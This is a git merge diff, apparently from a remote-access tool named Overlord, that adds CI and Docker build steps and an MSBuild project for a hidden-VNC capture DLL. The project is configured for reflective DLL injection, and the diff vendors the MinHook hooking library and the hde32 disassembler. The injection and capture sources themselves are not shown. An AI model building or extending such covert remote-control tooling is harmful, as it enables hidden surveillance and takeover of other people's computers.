Merge branch 'vxaboveground:main' into main

This commit is contained in:
Ayesha Mitzcov
2026-04-16 21:54:11 +01:00
committed by GitHub
53 changed files with 6493 additions and 278 deletions
+9 -3
View File
@@ -21,11 +21,17 @@ jobs:
shell: cmd shell: cmd
run: call build-hvnc-dll.bat run: call build-hvnc-dll.bat
- name: Upload HVNCInjection DLL - name: Build HVNCCapture DLL with MSVC
shell: cmd
run: call build-hvnc-capture-dll.bat
- name: Upload HVNC DLLs
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: hvnc-dll name: hvnc-dll
path: Overlord-Server/dist-clients/HVNCInjection.x64.dll path: |
Overlord-Server/dist-clients/HVNCInjection.x64.dll
Overlord-Server/dist-clients/HVNCCapture.x64.dll
if-no-files-found: error if-no-files-found: error
retention-days: 1 retention-days: 1
@@ -40,7 +46,7 @@ jobs:
- name: Checkout repository - name: Checkout repository
uses: actions/checkout@v4 uses: actions/checkout@v4
- name: Download HVNCInjection DLL - name: Download HVNC DLLs
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
with: with:
name: hvnc-dll name: hvnc-dll
+15
View File
@@ -8,6 +8,7 @@ RUN apt-get update \
&& apt-get install -y --no-install-recommends \ && apt-get install -y --no-install-recommends \
build-essential \ build-essential \
gcc-mingw-w64-x86-64 \ gcc-mingw-w64-x86-64 \
g++-mingw-w64-x86-64 \
gcc-mingw-w64-i686 \ gcc-mingw-w64-i686 \
musl-tools \ musl-tools \
gcc-aarch64-linux-gnu \ gcc-aarch64-linux-gnu \
@@ -71,6 +72,10 @@ COPY Overlord-Client/ ./Overlord-Client/
COPY HVNCInjection/ ./HVNCInjection/ COPY HVNCInjection/ ./HVNCInjection/
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
# Copy HVNCCapture source and build script for cross-compilation
COPY HVNCCapture/ ./HVNCCapture/
COPY build-hvnc-capture-dll.sh ./build-hvnc-capture-dll.sh
# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact). # Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact).
# Fall back to cross-compiling with mingw only if no pre-built DLL exists. # Fall back to cross-compiling with mingw only if no pre-built DLL exists.
RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \ RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
@@ -81,6 +86,16 @@ RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \ echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \
fi fi
# Use MSVC-built HVNCCapture DLL if present (preferred, from CI artifact).
# Fall back to cross-compiling with mingw (C++) only if no pre-built DLL exists.
RUN if [ -f dist-clients/HVNCCapture.x64.dll ]; then \
echo "Using pre-built MSVC HVNCCapture DLL"; \
else \
chmod +x build-hvnc-capture-dll.sh && \
HVNC_CAPTURE_SRC_DIR=HVNCCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash build-hvnc-capture-dll.sh || \
echo "WARNING: HVNCCapture DLL not available (build with MSVC on Windows)"; \
fi
# Create necessary directories # Create necessary directories
RUN mkdir -p certs public data RUN mkdir -p certs public data
+144
View File
@@ -0,0 +1,144 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{A1B2C3D4-1234-5678-9ABC-DEF012345678}</ProjectGuid>
<RootNamespace>HVNCCapture</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
<TargetName>$(ProjectName).x64</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName).x64</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
<AdditionalDependencies>d3d11.lib;dxgi.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCCapture_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(ProjectDir)Minhook\include;$(ProjectDir)Minhook\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
<AdditionalDependencies>d3d11.lib;dxgi.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="src\ReflectiveLoader.c" />
<ClCompile Include="src\DXGICapture.c" />
<ClCompile Include="Minhook\src\buffer.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hook.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\trampoline.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hde\hde32.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<ClCompile Include="Minhook\src\hde\hde64.c">
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\ReflectiveDLLInjection.h" />
<ClInclude Include="src\ReflectiveLoader.h" />
<ClInclude Include="src\DXGICapture.h" />
<ClInclude Include="Minhook\include\MinHook.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+185
View File
@@ -0,0 +1,185 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
#error MinHook supports only x86 and x64 systems.
#endif
#include <windows.h>
// MinHook Error Codes.
typedef enum MH_STATUS
{
// Unknown error. Should not be returned.
MH_UNKNOWN = -1,
// Successful.
MH_OK = 0,
// MinHook is already initialized.
MH_ERROR_ALREADY_INITIALIZED,
// MinHook is not initialized yet, or already uninitialized.
MH_ERROR_NOT_INITIALIZED,
// The hook for the specified target function is already created.
MH_ERROR_ALREADY_CREATED,
// The hook for the specified target function is not created yet.
MH_ERROR_NOT_CREATED,
// The hook for the specified target function is already enabled.
MH_ERROR_ENABLED,
// The hook for the specified target function is not enabled yet, or already
// disabled.
MH_ERROR_DISABLED,
// The specified pointer is invalid. It points the address of non-allocated
// and/or non-executable region.
MH_ERROR_NOT_EXECUTABLE,
// The specified target function cannot be hooked.
MH_ERROR_UNSUPPORTED_FUNCTION,
// Failed to allocate memory.
MH_ERROR_MEMORY_ALLOC,
// Failed to change the memory protection.
MH_ERROR_MEMORY_PROTECT,
// The specified module is not loaded.
MH_ERROR_MODULE_NOT_FOUND,
// The specified function is not found.
MH_ERROR_FUNCTION_NOT_FOUND
}
MH_STATUS;
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
// MH_QueueEnableHook or MH_QueueDisableHook.
#define MH_ALL_HOOKS NULL
#ifdef __cplusplus
extern "C" {
#endif
// Initialize the MinHook library. You must call this function EXACTLY ONCE
// at the beginning of your program.
MH_STATUS WINAPI MH_Initialize(VOID);
// Uninitialize the MinHook library. You must call this function EXACTLY
// ONCE at the end of your program.
MH_STATUS WINAPI MH_Uninitialize(VOID);
// Creates a hook for the specified target function, in disabled state.
// Parameters:
// pTarget [in] A pointer to the target function, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
// Creates a hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszProcName [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);
// Creates a hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszProcName [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
// ppTarget [out] A pointer to the target function, which will be used
// with other functions.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget);
// Removes an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
// Enables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// enabled in one go.
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
// Disables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// disabled in one go.
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
// Queues to enable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be enabled.
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
// Queues to disable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be disabled.
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
// Applies all queued changes in one go.
MH_STATUS WINAPI MH_ApplyQueued(VOID);
// Translates the MH_STATUS to its name as a string.
const char *WINAPI MH_StatusToString(MH_STATUS status);
#ifdef __cplusplus
}
#endif
+312
View File
@@ -0,0 +1,312 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "buffer.h"
// Size of each memory block. (= page size of VirtualAlloc)
#define MEMORY_BLOCK_SIZE 0x1000
// Max range for seeking a memory block. (= 1024MB)
#define MAX_MEMORY_RANGE 0x40000000
// Memory protection flags to check the executable address.
#define PAGE_EXECUTE_FLAGS \
(PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)
// Memory slot.
typedef struct _MEMORY_SLOT
{
union
{
struct _MEMORY_SLOT *pNext;
UINT8 buffer[MEMORY_SLOT_SIZE];
};
} MEMORY_SLOT, *PMEMORY_SLOT;
// Memory block info. Placed at the head of each block.
typedef struct _MEMORY_BLOCK
{
struct _MEMORY_BLOCK *pNext;
PMEMORY_SLOT pFree; // First element of the free slot list.
UINT usedCount;
} MEMORY_BLOCK, *PMEMORY_BLOCK;
//-------------------------------------------------------------------------
// Global Variables:
//-------------------------------------------------------------------------
// First element of the memory block list.
static PMEMORY_BLOCK g_pMemoryBlocks;
//-------------------------------------------------------------------------
VOID InitializeBuffer(VOID)
{
// Nothing to do for now.
}
//-------------------------------------------------------------------------
VOID UninitializeBuffer(VOID)
{
PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
g_pMemoryBlocks = NULL;
while (pBlock)
{
PMEMORY_BLOCK pNext = pBlock->pNext;
VirtualFree(pBlock, 0, MEM_RELEASE);
pBlock = pNext;
}
}
//-------------------------------------------------------------------------
#if defined(_M_X64) || defined(__x86_64__)
static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity)
{
ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
// Round down to the allocation granularity.
tryAddr -= tryAddr % dwAllocationGranularity;
// Start from the previous allocation granularity multiply.
tryAddr -= dwAllocationGranularity;
while (tryAddr >= (ULONG_PTR)pMinAddr)
{
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
break;
if (mbi.State == MEM_FREE)
return (LPVOID)tryAddr;
if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity)
break;
tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity;
}
return NULL;
}
#endif
//-------------------------------------------------------------------------
#if defined(_M_X64) || defined(__x86_64__)
static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity)
{
ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
// Round down to the allocation granularity.
tryAddr -= tryAddr % dwAllocationGranularity;
// Start from the next allocation granularity multiply.
tryAddr += dwAllocationGranularity;
while (tryAddr <= (ULONG_PTR)pMaxAddr)
{
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
break;
if (mbi.State == MEM_FREE)
return (LPVOID)tryAddr;
tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
// Round up to the next allocation granularity.
tryAddr += dwAllocationGranularity - 1;
tryAddr -= tryAddr % dwAllocationGranularity;
}
return NULL;
}
#endif
//-------------------------------------------------------------------------
static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin)
{
PMEMORY_BLOCK pBlock;
#if defined(_M_X64) || defined(__x86_64__)
ULONG_PTR minAddr;
ULONG_PTR maxAddr;
SYSTEM_INFO si;
GetSystemInfo(&si);
minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress;
maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress;
// pOrigin ± 512MB
if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE)
minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE;
if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE)
maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE;
// Make room for MEMORY_BLOCK_SIZE bytes.
maxAddr -= MEMORY_BLOCK_SIZE - 1;
#endif
// Look the registered blocks for a reachable one.
for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext)
{
#if defined(_M_X64) || defined(__x86_64__)
// Ignore the blocks too far.
if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr)
continue;
#endif
// The block has at least one unused slot.
if (pBlock->pFree != NULL)
return pBlock;
}
#if defined(_M_X64) || defined(__x86_64__)
// Alloc a new block above if not found.
{
LPVOID pAlloc = pOrigin;
while ((ULONG_PTR)pAlloc >= minAddr)
{
pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity);
if (pAlloc == NULL)
break;
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBlock != NULL)
break;
}
}
// Alloc a new block below if not found.
if (pBlock == NULL)
{
LPVOID pAlloc = pOrigin;
while ((ULONG_PTR)pAlloc <= maxAddr)
{
pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity);
if (pAlloc == NULL)
break;
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBlock != NULL)
break;
}
}
#else
// In x86 mode, a memory block can be placed anywhere.
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
#endif
if (pBlock != NULL)
{
// Build a linked list of all the slots.
PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1;
pBlock->pFree = NULL;
pBlock->usedCount = 0;
do
{
pSlot->pNext = pBlock->pFree;
pBlock->pFree = pSlot;
pSlot++;
} while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE);
pBlock->pNext = g_pMemoryBlocks;
g_pMemoryBlocks = pBlock;
}
return pBlock;
}
//-------------------------------------------------------------------------
LPVOID AllocateBuffer(LPVOID pOrigin)
{
PMEMORY_SLOT pSlot;
PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin);
if (pBlock == NULL)
return NULL;
// Remove an unused slot from the list.
pSlot = pBlock->pFree;
pBlock->pFree = pSlot->pNext;
pBlock->usedCount++;
#ifdef _DEBUG
// Fill the slot with INT3 for debugging.
memset(pSlot, 0xCC, sizeof(MEMORY_SLOT));
#endif
return pSlot;
}
//-------------------------------------------------------------------------
VOID FreeBuffer(LPVOID pBuffer)
{
PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
PMEMORY_BLOCK pPrev = NULL;
ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE;
while (pBlock != NULL)
{
if ((ULONG_PTR)pBlock == pTargetBlock)
{
PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer;
#ifdef _DEBUG
// Clear the released slot for debugging.
memset(pSlot, 0x00, sizeof(MEMORY_SLOT));
#endif
// Restore the released slot to the list.
pSlot->pNext = pBlock->pFree;
pBlock->pFree = pSlot;
pBlock->usedCount--;
// Free if unused.
if (pBlock->usedCount == 0)
{
if (pPrev)
pPrev->pNext = pBlock->pNext;
else
g_pMemoryBlocks = pBlock->pNext;
VirtualFree(pBlock, 0, MEM_RELEASE);
}
break;
}
pPrev = pBlock;
pBlock = pBlock->pNext;
}
}
//-------------------------------------------------------------------------
BOOL IsExecutableAddress(LPVOID pAddress)
{
MEMORY_BASIC_INFORMATION mi;
VirtualQuery(pAddress, &mi, sizeof(mi));
return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS));
}
+42
View File
@@ -0,0 +1,42 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
// Size of each memory slot.
#if defined(_M_X64) || defined(__x86_64__)
#define MEMORY_SLOT_SIZE 64
#else
#define MEMORY_SLOT_SIZE 32
#endif
VOID InitializeBuffer(VOID);
VOID UninitializeBuffer(VOID);
LPVOID AllocateBuffer(LPVOID pOrigin);
VOID FreeBuffer(LPVOID pBuffer);
BOOL IsExecutableAddress(LPVOID pAddress);
+324
View File
@@ -0,0 +1,324 @@
/*
* Hacker Disassembler Engine 32 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#if defined(_M_IX86) || defined(__i386__)
#include <string.h>
#include "hde32.h"
#include "table32.h"
unsigned int hde32_disasm(const void *code, hde32s *hs)
{
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0;
memset(hs, 0, sizeof(hde32s));
for (x = 16; x; x--)
switch (c = *p++) {
case 0xf3:
hs->p_rep = c;
pref |= PRE_F3;
break;
case 0xf2:
hs->p_rep = c;
pref |= PRE_F2;
break;
case 0xf0:
hs->p_lock = c;
pref |= PRE_LOCK;
break;
case 0x26: case 0x2e: case 0x36:
case 0x3e: case 0x64: case 0x65:
hs->p_seg = c;
pref |= PRE_SEG;
break;
case 0x66:
hs->p_66 = c;
pref |= PRE_66;
break;
case 0x67:
hs->p_67 = c;
pref |= PRE_67;
break;
default:
goto pref_done;
}
pref_done:
hs->flags = (uint32_t)pref << 23;
if (!pref)
pref |= PRE_NONE;
if ((hs->opcode = c) == 0x0f) {
hs->opcode2 = c = *p++;
ht += DELTA_OPCODES;
} else if (c >= 0xa0 && c <= 0xa3) {
if (pref & PRE_67)
pref |= PRE_66;
else
pref &= ~PRE_66;
}
opcode = c;
cflags = ht[ht[opcode / 4] + (opcode % 4)];
if (cflags == C_ERROR) {
hs->flags |= F_ERROR | F_ERROR_OPCODE;
cflags = 0;
if ((opcode & -3) == 0x24)
cflags++;
}
x = 0;
if (cflags & C_GROUP) {
uint16_t t;
t = *(uint16_t *)(ht + (cflags & 0x7f));
cflags = (uint8_t)t;
x = (uint8_t)(t >> 8);
}
if (hs->opcode2) {
